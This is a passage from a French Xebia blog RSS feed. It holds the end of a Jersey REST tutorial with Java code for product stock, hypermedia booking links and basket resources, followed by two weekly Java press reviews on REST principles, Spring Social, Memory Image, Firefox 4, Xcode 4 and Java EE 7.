</pre><p>Lors de la réservation d&#8217;un produit, le tag transmis est comparé (par le biais d&#8217;une méthode utilitaire de Request) à sa valeur actuelle. Si ce calcul est couteux, la valeur du hash peut être sauvegardée avec l&#8217;objet afin d&#8217;économiser ce coût. Cette comparaison renvoie un statut 412 si un problème se produit. Ensuite, le stock est décrémenté s&#8217;il lui reste assez d&#8217;articles (la méthode sell renvoie un booléen acquittant l&#8217;opération).</p><p>Lorsqu&#8217;une erreur se produit, la réponse, en plus du code 412 — préconditions non respectées –, se voit dotée d&#8217;un message d&#8217;erreur approprié.</p><p>Afin de limiter le couplage, le lien de réservation ne sera pas connu par le client. Ce dernier sera averti de l&#8217;accès à la réservation par la présence d&#8217;une relation <code>rels/book</code>. Cette relation est ajoutée au produit lors de sa création via POST.</p><pre class="brush: java; title: ; notranslate">
@Path(&quot;/product&quot;)
public class ProductResource {
  @POST
  public Response post(Product product) {
    Products.put(product);
    addBookLink(product);
    return Response.ok(product).build();
  }
 
  static UriBuilder uriBuilder = //
  UriBuilder.fromPath(&quot;resource/product&quot;).path(&quot;{id}/stock/{quantity}/{username}&quot;);
 
  private void addBookLink(Product product) {
    Link link = new Link();
    URI uri = uriBuilder.build(product.getId(), &quot;{quantity}&quot;, &quot;{username}&quot;);
    link.setHref(uri.getPath());
    link.setRel(Rels.RELS_BOOK);
    product.getLinks().add(link);
  }
}
</pre><p>Enfin, une fois une quantité du stock déplacée vers un panier client, une ressource va permettre l&#8217;accès au panier d&#8217;un client. N&#8217;ayant que peu de sens sans le nom du client, ce paramètre est rendu général à la classe.</p><pre class="brush: java; title: ; notranslate">
@Path(&quot;/basket/{username}&quot;)
public class BasketResource {
  @PathParam(&quot;username&quot;) String username;
 
  @GET
  @Path(&quot;/{product}&quot;)
  public Response get(@PathParam(&quot;product&quot;) long productId) {
    Map&lt;Long, Integer&gt; quantityByProductId = Purchases.get(username);
    Stock stock = new Stock();
    stock.setId(productId);
    stock.setQuantity(quantityByProductId.get(productId));
    return Response.ok(stock).build();
  }
}
</pre><h3><a
name="TestsStocks"></a>Tests stock</h3><p>Pour incrémenter le stock d&#8217;un produit, son id est nécessaire ; mais, comme il est généré côté serveur, il est nécessaire de le récupérer lors de sa création. Par convention, POST retourne toujours l&#8217;objet qui lui est soumis décoré au minimum d&#8217;un identifiant. La création d&#8217;un produit, présentée en tête de cet article, s&#8217;appuie sur la classe utilitaire Products associant un id au produit avant de retourner le produit ainsi identifié au client. Voici le cas de test du stock.</p><pre class="brush: java; title: ; notranslate">
public class ProductResourceTest {
  @Before
  public void before() {
    for (Product product : Shipments.products()) {
      product = productResource().entity(product).post(Product.class);
      Stock stock = new Stock();
      stock.setQuantity(2);
      stockResource(product.getId()).post(stock);
    }
  }
 
  private WebResource stockResource(long productId) {
    URI uri = UriBuilder.fromPath(&quot;resource/product/{id}/stock&quot;).build(productId);
    return Client.create().resource(server.uri()).path(uri.getPath());
  }
}
</pre><p>Ce code reprend l&#8217;initialisation précédente et ajoute, pour chaque produit, un stock de 2 unités. Les produits ayant désormais du stock il est possible de tester leur réservation dans le panier d&#8217;un client.</p><pre class="brush: java; title: ; notranslate">
import com.google.common.collect.ImmutableMap;
import com.google.common.collect.Maps;
import com.xebia.representation.Rels;
 
public class ProductResourceTest {
  @Test
  public void shouldAccessStock() {
    for (Product product : getProducts())
      assertEquals(2, stockResource(product.getId()).get(Stock.class).getQuantity());
  }
 
  @Test
  public void shouldMoveProductToBasket() {
    String username = &quot;xebia&quot;;
    int quantity = 2;
 
    Product product = getProducts().get(0);
    String uriBook = rels(product.getLinks()).get(Rels.RELS_BOOK);
    resource(uriBook, ImmutableMap.of(&quot;quantity&quot;, quantity, &quot;username&quot;, username)).post();
 
    assertEquals(0, stockResource(product.getId()).get(Stock.class).getQuantity());
    assertEquals(quantity, basketResource(username, product.getId()).get(Stock.class).getQuantity());
  }
 
  /* helpers */
 
  private WebResource resource(String href, Map&lt;String, ?&gt; params) {
    URI uri = UriBuilder.fromPath(href).buildFromMap(params);
    return resource(uri.getPath());
  }
 
  private List&lt;Product&gt; getProducts() {
    ClientResponse clientResponse = productResource().get(ClientResponse.class);
    return clientResponse.getEntity(new GenericType&lt;List&lt;Product&gt;&gt;() {});
  }
 
  private Map&lt;Rels, String&gt; rels(List&lt;Link&gt; links) {
    Map&lt;Rels, String&gt; rels = Maps.newHashMap();
    for (Link link : links)
      rels.put(link.getRel(), link.getHref());
    return rels;
  }
 
  private WebResource basketResource(String username, long productId) {
    URI uri = UriBuilder.fromPath(&quot;resource/basket/{user}/{id}&quot;).build(username, productId);
    return createClient().resource(server.uri()).path(uri.getPath());
  }
}
</pre><p>On notera l&#8217;utilisation du lien de réservation, <code>rels/book</code>, proposé par la ressource stock limitant la connaissance du client à la template (quantity, username) qu&#8217;il doit poster. En l&#8217;absence d&#8217;un article par exemple, ce lien peut disparaitre, mettant le client — ignorant l&#8217;URI complète — dans l&#8217;impossibilité d&#8217;effectuer une réservation. Ainsi l&#8217;état de l&#8217;application et ses possibilités futures sont exprimées par ces relations hypermédia (<a
href="http://blogs.oracle.com/craigmcc/entry/why_hateoas">HATEOAS</a>). Client et serveur partagent la connaissance des transitions, celles-ci étant rendues disponibles par le serveur lors de l&#8217;accès aux ressources. Le couplage obtenu entre client et serveur en est ainsi affaibli.</p><p>Le panier propose des relations afin d&#8217;accéder à chaque article réservé (la relation related est souvent utilisé à des fins d&#8217;économie de ce genre) au prix total et au paiement. Un client, après avoir accédé à une ressource, navigue grâce aux relations communiquées par cette dernière aux ressources suivantes. Le code clé-en-main <a
href="https://github.com/yamsellem/Backbone-Jersey">disponible sur GitHub</a> couvre le paiement et la rupture du stock, afin de prolonger le sujet.</p><h3><a
name="Epilogue"></a>Épilogue</h3><p>Implémenter REST avec Jersey résulte en un code compact, élégant, explicite et indépendant du médiatype. Le cache, la sécurité et la concurrence sont supportés dans le même esprit de simplicité. Quelques considérations sur le sujet ; comme le nom d&#8217;un auteur littéraire à succès, les URI publiques gagnent à ne pas changer. Divulger le minimum d&#8217;URI, en offrant un jeu de relations riches au client, masque la complexité du serveur ; les clients agissant en fonction de relations, modifier la logique du serveur est alors peu impactant et réduit le recours au versionning.</p><p>L&#8217;implémentation d&#8217;un client JavaScript communiquant avec le serveur développé ici, réalisée dans l&#8217;article connexe consacré au sujet, est l&#8217;occasion d&#8217;apprécier davantage les vertus de l&#8217;interface uniforme de HTTP. Le livre <a
href="http://books.google.com/books?id=LDuzpQlVuG4C&#038;printsec=frontcover&#038;hl=fr#v=onepage&#038;q&#038;f=true">RESTful Web Services Cookbook</a> est un excellent moyen de se plonger davantage encore sur la question.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/11/14/rest-java-serveur/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2011/09/13/revue-de-presse-xebia-229/</link> <comments>http://blog.xebia.fr/2011/09/13/revue-de-presse-xebia-229/#comments</comments> <pubDate>Tue, 13 Sep 2011 08:25:32 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[AMQP]]></category> <category><![CDATA[Event Sourcing]]></category> <category><![CDATA[LMAX]]></category> <category><![CDATA[Memory Image]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[RESTFul]]></category> <category><![CDATA[Spring Social]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=8471</guid> <description><![CDATA[La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia. REST ou pas REST Le coin de la technique SpringSource: Spring Social et Spring AMQP en 1.0 Memory Image REST ou pas REST Un article a fait le buzz la semaine dernière sur les architectures REST. Kelly Sommers nous propose de revoir, de façon [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia.</em></p><ul><li><a
href="http://blog.xebia.fr/2011/09/13/revue-de-presse-xebia-229/#RESToupasREST">REST ou pas REST</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/09/13/revue-de-presse-xebia-229/#SpringSourceSpringSocialetSpri">SpringSource: Spring Social et Spring AMQP en 1.0</a></li><li><a
href="http://blog.xebia.fr/2011/09/13/revue-de-presse-xebia-229/#MemoryImage">Memory Image</a></li></ul><h4><a
name="RESToupasREST"></a>REST ou pas REST</h4><p>Un <a
href="http://kellabyte.com/2011/09/04/clarifying-rest/" title="article" >article</a> a fait le buzz la semaine dernière sur les architectures REST. Kelly Sommers nous propose de revoir, de façon claire et détaillée, la définition d&#8217;une API REST.<br
/> En effet, avec l&#8217;émergence des frameworks Javascript, des traitements de présentation faits hier côté serveur sont maintenant revenus à leur juste place, au sein des navigateurs clients.<br
/> Pour couvrir un maximum de sites, les grands d&#8217;Internet se doivent d&#8217;avoir une API externe. C&#8217;est pour cela que des sites comme Twitter, Flickr, Google Search proposent d&#8217;utiliser leurs services via ces APIs dites &laquo;&nbsp;RESTful&nbsp;&raquo;: grâce à elles, il est possible d&#8217;intégrer de tels services dans un site tiers, et ce sans bibliothèque particulière.<br
/> Mais l&#8217;étude menée par Kelly Sommers nous démontre que certaines de ces APIs n&#8217;ont de RESTFul que le nom.<br
/> Rappelons au passage que REST signifie <em>Representational State Transfer</em>: il s&#8217;agit donc de gérer les états des ressources exposées par ces APIs.</p><p>Les règles les plus élémentaires d&#8217;une API REST sont en général bien respectées:</p><ul><li>Utiliser le transport HTTP</li><li>Chaque service possède une URL définie</li><li>L&#8217;application doit gérer un format de sortie simple (text/html, application/xml, application/json&#8230;)</li><li>Gestion explicite des opérations avec les verbes HTTP: GET, POST, PUT, DELETE&#8230;</li></ul><p>D&#8217;autres règles, plus contraignantes, sont cependant assez fréquemment bafouées :</p><ul><li>Pas de gestion d&#8217;état côté serveur (pas d&#8217;utilisation de la session HTTP, le client fournit l&#8217;intégralité des données au serveur à chaque appel)</li><li>Si, dans une réponse, la ressource en cours de consultation contient une référence vers une autre ressource, la première doit contenir un lien vers un autre service qui permet de détailler aussi la seconde. On parle d&#8217;utilisation de liens hypertextes dans la réponse HTTP.</li><li>La réponse doit pouvoir prévenir le client si elle peut être mise en cache dans le navigateur.</li></ul><p>Nombre d&#8217;applications web utilisent des fermes de serveurs pour absorber la charge. On utilise ensuite des mécanismes complexes de transfert de session en cas de pannes de l&#8217;un d&#8217;eux, pour éviter la perte de données. REST propose une autre solution: comme il n&#8217;y a pas de données en session, on peut facilement changer de serveur entre chaque appel sans problème: la contrainte d&#8217;une architecture sans état devient alors un atout.</p><p>En ce qui concerne l&#8217;usage des liens hypertextes, l&#8217;exemple choisi, extrait de l&#8217;API Twitter, est très parlant. Si la réponse contient la description d&#8217;un client, on s&#8217;attend naturellement à recevoir le lien vers un autre service REST pour en avoir la description complète. Cela permet de maintenir la logique de suite des services au sein de l&#8217;application, et non pas dans le client.</p><p>Il est souvent intéressant de revenir aux sources des choses pour mieux les comprendre. Le service REST vous permet d&#8217;avoir une application indépendante du client qui l&#8217;appelle. Mais comme toute solution, attention à toujours suivre tous les principes fondamentaux! Il ne faut ne pas confondre Remote Programming Control et service REST. A vos claviers pour des API REST dignes de ce nom!</p><p>Un exemple d&#8217;API que nous trouvons réussie, et qui respecte ces patterns, est celle de <a
href="http://static.springsource.org/spring-batch-admin/reference/running.html" title="Spring Batch Admin" >Spring Batch Admin</a>. La page d&#8217;accueil vous présente la liste des services qu&#8217;on peut invoquer, et chaque réponse contient un lien vers un service de description lié. Il reste juste une petite astuce pour gérer les opérations DELETE et PUT.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="SpringSourceSpringSocialetSpri"></a>SpringSource: Spring Social et Spring AMQP en 1.0</h4><p>Les réseaux sociaux forment un nouveau médium de communication qui désormais ne peut plus être négligé. Avec <a
href="http://blog.springsource.com/2011/09/08/spring-social-1-0-what-a-year-makes/" title="Spring Social 10" >Spring Social 1.0</a>, SpringSource fournit une approche commune pour authentifier un utilisateur et permettre d&#8217;utiliser les APIs propriétaires des grands réseaux sociaux; le but de cette initiative est de simplifier et homogénéiser l&#8217;accès à ces APIs hétérogènes.</p><p>Twitter et Facebook sont pleinement supportés; le support de LinkedIn, TripIt, GitHub et Gowalla est en cours. Bien sûr, un <a
href="http://en.wikipedia.org/wiki/Service_Provider_Interface" title="SPI" >SPI</a> vous permet également d&#8217;intégrer votre réseau social favori. Par exemple, des projets externes se consacrent actuellement à l&#8217;intégration de Foursquare et Dropbox. Il ne faut cependant pas négliger l&#8217;effort d&#8217;adaptation requis : marshalling, unmarshalling, gestion des erreurs&#8230; sans oublier les différences d&#8217;implémentation du protocole d&#8217;authentification <a
href="http://oauth.net/" title="Oauth" >Oauth</a>, utilisé par la plupart des réseaux sociaux.</p><p>Avec la <a
href="http://www.springsource.org/node/3219" title="sortie de Spring AMQP 10" >sortie de Spring AMQP 1.0</a>, ce nouveau protocole de message n&#8217;a plus rien à envier à JMS en terme de facilité d&#8217;utilisation. Pour les utilisateurs de CloudFoundry, c&#8217;est une nouvelle API pour utiliser RabbitMQ, le système de message de la plateforme.</p><h4><a
name="MemoryImage"></a>Memory Image</h4><p>Martin Fowler nous propose un article sur la notion de <a
href="http://martinfowler.com/bliki/MemoryImage.html" title="Memory Image" >Memory Image</a>. Il fait suite à une publication cet été sur une application de passage d&#8217;ordres pour les marchés financiers, le <a
href="http://martinfowler.com/articles/lmax.html" title="projet LMAX" >projet LMAX</a>. Cette application Java permet de traiter pas moins de 6 millions d&#8217;opérations par seconde&#8230; sur un seul Thread!</p><p>Pour arriver à ce niveau de performance, l&#8217;application met en place le mécanisme d&#8217;<a
href="http://martinfowler.com/eaaDev/EventSourcing.html" title="Event Sourcing" >Event Sourcing</a>.</p><p>L&#8217;application est divisée en trois parties:</p><ul><li>Input Disruptors</li><li>Business Logic</li><li>Output Disruptors</li></ul><p>Les éléments Input et Output Disruptors sont chargés de recevoir, archiver et transmettre les données hors du système, avec des entrées-sorties fréquentes et une conception multi-threadée faisant appel à des buffers circulaires FIFO permettant de diminuer les temps de latence élevés dus aux entrées-sorties.</p><p>Le composant Business Logic quant à lui représente le cœur du traitement. De façon surprenante, cet élément de l&#8217;architecture n&#8217;est pas conçu pour l&#8217;exécution concurrente, et repose entièrement sur un seul thread.</p><p>Le concept est plutôt simple, toutes les données sont en mémoire dans le centre du Business Logic. Martin Fowler rappelle gentiment que pour faire fonctionner les mécanismes de cache du code de la JVM, on doit avoir des méthodes courtes et bien découplées (ces patterns de conception ne sont pas du pur hasard !). La seule contrainte est de pouvoir recomposer l&#8217;état du système à travers une journalisation des événements passés faite au fil du temps. Ainsi, il suffit de rejouer le journal des événements et votre application reprend son traitement où elle en était.</p><p>Martin Fowler revient également sur le concept de &laquo;&nbsp;sympathie mécanique&nbsp;&raquo; (<em>mechanical sympathy</em>) qu&#8217;il emprunte à Martin Thompson: il s&#8217;agit de soigner l&#8217;interaction entre le programme et le hardware qui l&#8217;exécute afin d&#8217;optimiser les performances. Par exemple, Fowler explique que son équipe a pris soin d&#8217;écrire des implémentations &laquo;&nbsp;cache-friendly&nbsp;&raquo; et &laquo;&nbsp;garbage-collector-friendly&nbsp;&raquo; de l&#8217;interface Map plutôt que d&#8217;utiliser les implémentations classiques; mais surtout il explique que le choix même des paradigmes de programmation est crucial: un modèle concurrentiel fondé sur les files de messages serait d&#8217;après lui moins &laquo;&nbsp;CPU-friendly&nbsp;&raquo; qu&#8217;un modèle à producteur unique, comme les Disruptors et leurs buffers circulaires. D&#8217;après Fowler, ce choix a permis d&#8217;optimiser les caches CPU de façon non négligeable.</p><p>Avec l&#8217;avènement du concept de NoSQL, nous apprenons déjà à revoir nos choix d&#8217;architecture pour la persistance de données. Avec le concept de Memory Image, Martin Fowler nous propose d&#8217;aller encore plus loin en se demandant même si un stockage persistant des données, de quelque type que ce soit, est réellement utile dans toutes les situations.</p><p>Se dissocier de la persistance permet d&#8217;avoir un modèle clair et d&#8217;éviter les acrobaties de mapping requises par les frameworks d&#8217;ORM (le fameux problème de l&#8217;<a
href="http://en.wikipedia.org/wiki/Object-relational_impedance_mismatch" title="impedance mismatch" ><em>impedance mismatch</em></a>). Pas besoin non plus de personnaliser jusqu&#8217;à la dernière goutte les requêtes SQL pour arriver au niveau de performance voulu. Par contre, l&#8217;un des problèmes de l&#8217;approche <em>in-memory</em> est l&#8217;absence de notion de transaction. Il est en effet très difficile d&#8217;appliquer un rollback à des objets en mémoire, contrairement à ceux d&#8217;une base de données. Il faut donc valider un maximum les données avant même de faire le traitement.</p><p>Alors, êtes-vous prêts à faire 6 millions de transactions par seconde sur 1 thread ?</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/09/13/revue-de-presse-xebia-229/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2011/03/15/revue-de-presse-xebia-202/</link> <comments>http://blog.xebia.fr/2011/03/15/revue-de-presse-xebia-202/#comments</comments> <pubDate>Tue, 15 Mar 2011 08:30:35 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Cloud Computing]]></category> <category><![CDATA[Firefox]]></category> <category><![CDATA[HTML 5]]></category> <category><![CDATA[Injection de dépendances]]></category> <category><![CDATA[iPad]]></category> <category><![CDATA[iPhone]]></category> <category><![CDATA[Java EE 7]]></category> <category><![CDATA[JAX-RS]]></category> <category><![CDATA[JSon]]></category> <category><![CDATA[PaaS]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[Saas]]></category> <category><![CDATA[WebSocket]]></category> <category><![CDATA[xCode]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=7193</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Mozilla Firefox 4 RC 1 xCode 4 : l&#8217;âge de raison Le coin de la technique Java EE 7 Actualité éditeurs / SSII Mozilla Firefox 4 RC 1 La première release candidate de Mozilla Firefox 4 est sortie le 9 [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/03/15/revue-de-presse-xebia-202/#MozillaFirefoxRC">Mozilla Firefox 4 RC 1</a></li><li><a
href="http://blog.xebia.fr/2011/03/15/revue-de-presse-xebia-202/#xCodelgederaison">xCode 4 : l&#8217;âge de raison</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/03/15/revue-de-presse-xebia-202/#JavaEE">Java EE 7</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="MozillaFirefoxRC"></a>Mozilla Firefox 4 RC 1</h4><p>La première release candidate de <a
href="http://www.mozilla.com/firefox/RC/" title="Mozilla Firefox 4" >Mozilla Firefox 4</a> est sortie le 9 mars. Cette release fait suite à une (longue) liste de versions bêta. On peut citer au nombre des nouveautés : l&#8217;intégration d&#8217;un nouveau moteur d&#8217;exécution JavaScript plus performant nommé <a
href="http://blog.mozilla.com/dmandelin/2010/09/08/presenting-jagermonkey/" title="JägerMonkey" >JägerMonkey</a>, un support partiel des transitions CSS, un meilleur support du HTML 5 avec notamment le support de l&#8217;API <a
href="http://blog.oldworld.fr/index.php?post/2010/11/17/HTML5-Forms-Validation-in-Firefox-4" title="HTML forms" >HTML forms</a>, le support de l&#8217;accélération matérielle. La note de version complète est accessible <a
href="http://www.mozilla.com/en-US/firefox/4.0/releasenotes/" title="ici" >ici</a>.</p><p>Un petit rappel sur HTML forms: cette API permet d&#8217;effectuer une validation des formulaires directement par le navigateur. Cet ajout majeur devrait standardiser et simplifier la gestion de la validation côté client en mettant fin aux validations bricolées en JavaScript : des attributs positionnés directement sur les contrôles du formulaire permettront de valider avec élégance les contraintes les plus courantes (longueur, non-nullité, conformité vis-à-vis d&#8217;une expression régulière, etc.). Des fonctions de rappel (<em>callbacks</em>) en JavaScript demeurent malgré tout accessibles pour les cas non triviaux.</p><p>On peut aussi noter l&#8217;inclusion de la fonctionnalité <a
href="http://blog.sidstamm.com/2011/01/opting-out-of-behavioral-ads.html" title="Do Not Track" >Do Not Track</a>, censée mieux protéger la vie privée des utilisateurs. Son activation ajoute un élément dans l&#8217;entête HTTP enjoignant aux sites visités de ne pas procéder au suivi de l&#8217;utilisateur. Toutefois, cette fonctionnalité n&#8217;aura pas d&#8217;impact sur votre navigation avant que les sites et les annonceurs ne la prennent en compte.</p><h4><a
name="xCodelgederaison"></a>xCode 4 : l&#8217;âge de raison</h4><p>Après de longs mois en bêta développeur (conditionnée à l&#8217;achat d&#8217;une licence annuelle), <a
href="http://developer.apple.com/technologies/tools/whats-new.html" title="la version 4 de xCode" >la version 4 de xCode</a> est enfin disponible. L&#8217;environnement de développement Mac/iPad/iPhone propose ici une refonte majeure avec, notamment, l&#8217;unification dans xCode des outils jusqu&#8217;alors isolés dans d&#8217;autres applications (construction de l&#8217;interface et gestion des performances). Deuxième modification majeure, le choix du compilateur LLVM par défaut et l&#8217;arrivée &#8212; enfin ! &#8212; du quick fix lors de l&#8217;écriture (et plus seulement lors de la compilation). Troisième apport, GIT et SVN sont désormais intégrés bien que quelques ajustements semblent encore nécessaires.</p><p>Si ces changements peuvent être perturbants, l&#8217;aide contextuelle &#8212; appuyée par des vidéos de démonstration &#8212; aide souvent à s&#8217;y retrouver. Attention, xCode devient payant pour les « candidats libres » (sans licence annuelle) : 4€ qui sont surtout un prétexte au plébiscite du nouvel App Store pour Mac.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="JavaEE"></a>Java EE 7</h4><p>Suite à la sortie de <a
href="http://blog.xebia.fr/2011/03/01/revue-de-presse-xebia-200/#JDKDevelopperPreview" title="Java SE 7 en developper preview" >Java SE 7 en developper preview</a>, c’est au tour de <strong>Java EE 7</strong> de faire parler de lui. Il y a deux semaines, la spécification de la plateforme Java Entreprise Edition dans sa version 7 a été soumise au <a
href="http://jcp.org" title="JCP" >JCP</a> sous la <a
href="http://jcp.org//en/jsr/detail?id=342" title="JSR 342" >JSR 342</a>. Bien entendu, cette spécification est une proposition qui devra être votée et implémentée par l’«&nbsp;<em>expert group</em>&nbsp;». Selon plusieurs sources, JEE 7 devrait voir le jour courant 2012, <a
href="http://blogs.sun.com/theaquarium/entry/java_ee_7_has_been" title="au troisième" >au troisième</a> ou <a
href="http://agoncal.wordpress.com/2011/02/11/java-ee-7-i-have-a-few-dreams/" title="quatrime trimestre" >quatrième trimestre</a>.</p><p>Au programme de cette version 7 : <strong>du cloud, du cloud et encore du cloud</strong>. En effet, cette JSR «&nbsp;<em>umbrella</em>&nbsp;» &#8212; c&#8217;est-à-dire chapeautant à son tour d&#8217;autres JSR &#8212; se veut résolument «&nbsp;<em>cloud-friendly</em>&nbsp;».</p><p>Mais JEE 7 couvrira aussi d’autres sujets : le <strong>support des derniers standards du Web</strong>, la <strong>modularité</strong> et la <strong>facilité de développement</strong>.</p><h5>Focus sur le Cloud</h5><p>Le <a
href="http://www.java.net/blogs/robc/" title="spec lead" >spec lead</a> de cette JSR voit le cloud comme un prolongement du modèle orienté conteneur (accès au système et aux ressources externes géré par le conteneur) de la plateforme Java Entreprise Edition, où une application peut être déployée sur une machine unique comme sur un cluster de manière distribuée, sans changements radicaux, grâce à la souplesse de la stack.</p><p>La plateforme JEE étant déjà bien parée pour des environnements cloud &#8212; grâce à son modèle orienté conteneur et à son abstraction d’accès aux ressources &#8212; l’objectif de la spécification est d’améliorer l’intégration de la plateforme dans des clouds privés ou publics, afin que les applications y soient exposées «&nbsp;<em>as a service</em>&nbsp;», avec le support de fonctionnalités telles que l&#8217;extensibilité  horizontale («&nbsp;<em>horizontal scalability</em>&nbsp;») ou encore la «&nbsp;<em><a
href="http://en.wikipedia.org/wiki/Multitenancy" title="multitenancy" >multitenancy</a></em>&nbsp;» (principe d&#8217;architecture logicielle où une seule instance d&#8217;une application peut servir, de manière individualisée, différents clients avec potentiellement des configurations et des paramétrages personnalisés).</p><p>Il s&#8217;agit également de tenir compte des problématiques liées au cloud (sécurité, isolation, qualité de service), en définissant par exemple de nouveaux rôles, tel que celui de <strong>PaaS</strong> (<em>Platform as a Service</em>) <strong>administrator</strong> ou en mettant à jour le modèle de sécurité de la plateforme en ce sens. Aussi, les applications qui voudront tirer avantage des différentes fonctionnalités spécifiques au modèle PaaS devront-elles obéir à certaines contraintes et fournir un moyen d&#8217;être identifiées comme étant conçues pour évoluer dans un environnement cloud.</p><p>Bon nombre d’APIs vont être mises à jour pour tenir compte de ces problématiques. Celles notamment qui gèrent des accès aux ressources, comme <strong>JPA</strong>, <strong>JDBC</strong> ou encore <strong>JMS</strong>, devront se rendre compatibles avec les systèmes multitenants. Dès lors, des ressources externes telles qu&#8217;une source de données ou une file de messages pourront être marquées comme étant partagées entre plusieurs applications. Les «&nbsp;<em>expert groups</em>&nbsp;» qui gouvernent chaque API seront chargés d’identifier ces besoins et de prendre les mesures adéquates.</p><h5>Les derniers standards du Web</h5><p>Le Web est aussi à l&#8217;honneur pour cette version 7 de la plateforme. D&#8217;ailleurs, deux nouvelles APIs, venant étoffer le support des dernières technologies Web dans le vent, sont en discussion :</p><ul><li>Support du <strong>HTML5</strong> et des <strong>Web Sockets</strong> via l’API <strong>Java Web Sockets</strong>.</li><li>Support de <strong>JSON</strong> (<em>JavaScript Object Notation</em>) via l&#8217;API <strong>Java JSON</strong>.</li></ul><p>JEE 7 inclura aussi la version 2.0 de l&#8217;API <strong>JAX-RS</strong> (Java API for RESTful Web Services) définie par la <a
href="http://jcp.org/en/jsr/detail?id=339" title="JSR 339" >JSR 339</a>. Cette dernière sera rajoutée au <strong>profil Web</strong>, en plus des mises à jour des APIs déjà présentes au sein de celui-ci.</p><h5>Modularité</h5><p>Cette JSR a aussi pour objectif de faciliter la modularité et la gestion de versions, en permettant par exemple à une application d&#8217;utiliser une version supérieure d&#8217;une API déjà incluse dans la plateforme. Ce travail devra être coordonné avec la JSR à venir sur la modularité dans Java SE afin de rendre les deux plateformes cohérentes.</p><h5>Facilité de développement</h5><p>Tirant les leçons de certaines API vilipendées pour leur lourdeur ou leur complexité &#8212; on pense aux EJB d&#8217;avant la version 3.0 &#8212; cette version 7 se veut simple, légère, efficace et efficiente. En ce sens, l&#8217;API <strong>JMS</strong> dans sa version 2.0 va être améliorée et l&#8217;API <strong>CDI</strong> (<em>Context and Dependency Injection</em>), introduite dans JEE 6, se verra doter d&#8217;une API pour configurer un injecteur : l&#8217;API <strong>DI</strong> 1.1 (la suite de la <a
href="http://jcp.org/en/jsr/detail?id=330" title="JSR 330" >JSR 330</a>).</p><p>A noter que la JSR 342 propose l’ajout de deux nouvelles JSRs, à savoir :</p><ul><li><a
href="http://jcp.org/en/jsr/detail?id=236" title="Concurrency Utilities for Java EE (JSR-236)" >Concurrency Utilities for Java EE (JSR-236)</a> : construite sur l’API java.util.concurrent, cette API offre des facilités pour exécuter des tâches de manière asynchrone.</li><li><a
href="http://jcp.org/en/jsr/detail?id=107" title="JCache (JSR-107)" >JCache (JSR-107)</a> : cette API a pour objectif de standardiser un système de cache accessible depuis tous les conteneurs en vue de rendre les applications plus &laquo;&nbsp;scalables&nbsp;&raquo; (extensibles).</li></ul><p>En résumé, plusieurs APIs déjà présentes dans JEE seront mises à jour :</p><ul><li>Java Persistence API (JPA)</li><li>Java API for RESTful Web Services (JAX-RS)</li><li>JavaServer Faces (JSF)</li><li>Servlets</li><li>Enterprise JavaBeans (EJB)</li><li>JavaServer Pages</li><li>Expression Language</li><li>Java Messaging Service (JMS)</li><li>Java API for XML-based Web Services (JAX-WS)</li><li>Contexts and Dependency Injection for Java EE (CDI)</li><li>Bean Validation</li><li>Dependency Injection for the Java Platform (JSR-330)</li><li>Common Annotations (JSR-250)</li><li>Java Connector Architecture</li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/03/15/revue-de-presse-xebia-202/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>REST : Richardson Maturity Model</title><link>http://blog.xebia.fr/2010/06/25/rest-richardson-maturity-model/</link> <comments>http://blog.xebia.fr/2010/06/25/rest-richardson-maturity-model/#comments</comments> <pubDate>Fri, 25 Jun 2010 07:13:14 +0000</pubDate> <dc:creator>Christophe Heubès</dc:creator> <category><![CDATA[SOA]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[RESTFul]]></category> <guid
